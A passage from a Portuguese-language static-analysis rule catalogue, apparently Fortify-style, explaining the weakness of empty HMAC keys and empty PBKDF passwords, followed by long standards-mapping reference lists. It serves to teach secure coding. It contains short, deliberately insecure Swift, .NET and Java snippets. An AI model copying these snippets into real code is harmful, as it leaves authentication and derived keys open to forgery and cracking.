[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[16] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[17] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[18] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[19] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[20] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[22] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[24] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[37] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.ruby.key_management_empty_hmac_key
Abstract
Chaves HMAC vazias podem comprometer a segurança do sistema de uma maneira difícil de remediar.
Explanation
Nunca é uma boa ideia usar uma chave HMAC vazia. A força criptográfica do HMAC depende do tamanho da chave secreta, que é usada para o cálculo e a verificação dos valores de autenticação de mensagens. Usar uma chave vazia enfraquece a força criptográfica da função HMAC.

Exemplo 1: O seguinte código usa uma chave vazia para calcular o HMAC:


...
CCHmac(UInt32(kCCHmacAlgSHA256), "", 0, plaintext, plaintextLen, &output)
...


O código no Example 1 pode ser executado com êxito, mas qualquer usuário que tiver acesso a ele será capaz de descobrir que ele utiliza uma chave HMAC vazia. Depois que o programa é distribuído, provavelmente não há forma de alterar a chave HMAC vazia, a não ser que um patch seja aplicado ao programa. Um funcionário desonesto com acesso a essas informações poderia usá-las para comprometer a função HMAC. Além disso, o código no Example 1 é vulnerável a ataques de falsificação e recuperação de chave.
References
[1] RFC 2104 - HMAC: Keyed-Hashing for Message Authentication Internet Engineering Task Force (IETF)
[2] New Results on NMAC/HMAC when Instantiated with Popular Hash Functions Journal of Universal Computer Science (J.UCS)
[3] Standards Mapping - Common Weakness Enumeration CWE ID 321
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[11] Standards Mapping - FIPS200 IA
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[16] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[17] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[18] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[19] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[20] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[22] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[24] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[37] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.swift.key_management_empty_hmac_key
Abstract
O uso de uma chave gerada por uma função de derivação de chave baseada em senha que recebeu um valor vazio em seu argumento de senha pode comprometer a segurança do sistema de uma maneira difícil de remediar.
Explanation
Nunca é uma boa ideia passar um valor vazio como argumento de senha para uma PBKDF (função de derivação de chave baseada em senha) criptográfica. Nesse cenário, a chave derivada se baseará exclusivamente no salt fornecido (tornando-o significativamente mais fraco), e a correção do problema será extremamente difícil. Depois que o código ofensivo está em produção, a senha vazia geralmente não pode ser alterada sem a aplicação de patches no software. Se uma conta protegida por uma chave derivada baseada em uma senha vazia for comprometida, os proprietários do sistema poderão ser forçados a escolher entre segurança e disponibilidade.

Exemplo 1: O código a seguir transmite uma string vazia como argumento de senha para uma PBKDF criptográfica:


...
Rfc2898DeriveBytes rdb = new Rfc2898DeriveBytes("", salt,100000);
...


Qualquer pessoa com acesso ao código será capaz de determinar que ele gere uma ou mais chaves criptográficas com base em um argumento de senha inserida em código fixo. Mas, pior do que isso, qualquer pessoa com as técnicas mais básicas de cracking terá muito mais chances de obter acesso a todos os recursos protegidos pelas chaves transgressoras. Se um invasor também tiver acesso ao valor de sal usado para gerar qualquer uma das chaves com base em uma senha vazia, o cracking dessas chaves se tornará um processo simples. A partir do momento em que o programa for distribuído, provavelmente não será mais possível alterar a senha vazia, a não ser que um patch seja aplicado a esse programa. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Mesmo que os invasores só tivessem acesso ao executável do aplicativo, eles poderiam extrair evidências do uso de uma senha vazia.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M1 Improper Credential Usage
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.dotnet.key_management_empty_pbe_password
Abstract
Uma senha vazia é usada para gerar uma chave a partir de uma PBKDF (função de derivação de chave baseada em senha). Fornecer uma senha vazia a uma PBKDF compromete a segurança do sistema de uma maneira difícil de remediar.
Explanation
Nunca é uma boa ideia passar um valor vazio como argumento de senha para uma PBKDF (função de derivação de chave baseada em senha) criptográfica. Nesse cenário, a chave derivada se baseará exclusivamente no salt fornecido (tornando-o significativamente mais fraco), e a correção do problema será extremamente difícil. Depois que o código ofensivo está em produção, a senha vazia geralmente não pode ser alterada sem a aplicação de patches no software. Se uma conta protegida por uma chave derivada baseada em uma senha vazia for comprometida, os proprietários do sistema poderão ser forçados a escolher entre segurança e disponibilidade.

Exemplo 1: O código a seguir transmite uma string vazia como argumento de senha para uma PBKDF criptográfica:


...
var encryptor = new StrongPasswordEncryptor();
var encryptedPassword = encryptor.encryptPassword("");
...


Qualquer pessoa com acesso ao código será capaz de determinar que ele gere uma ou mais chaves criptográficas com base em um argumento de senha inserida em código fixo. Mas, pior do que isso, qualquer pessoa com as técnicas mais básicas de cracking terá muito mais chances de obter acesso a todos os recursos protegidos pelas chaves transgressoras. Se um invasor também tiver acesso ao valor de sal usado para gerar qualquer uma das chaves com base em uma senha vazia, o cracking dessas chaves se tornará um processo simples. A partir do momento em que o programa for distribuído, provavelmente não será mais possível alterar a senha vazia, a não ser que um patch seja aplicado a esse programa. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Mesmo que os invasores só tivessem acesso ao executável do aplicativo, eles poderiam extrair evidências do uso de uma senha vazia.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M1 Improper Credential Usage
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.semantic.java.key_management_empty_pbe_password
Abstract
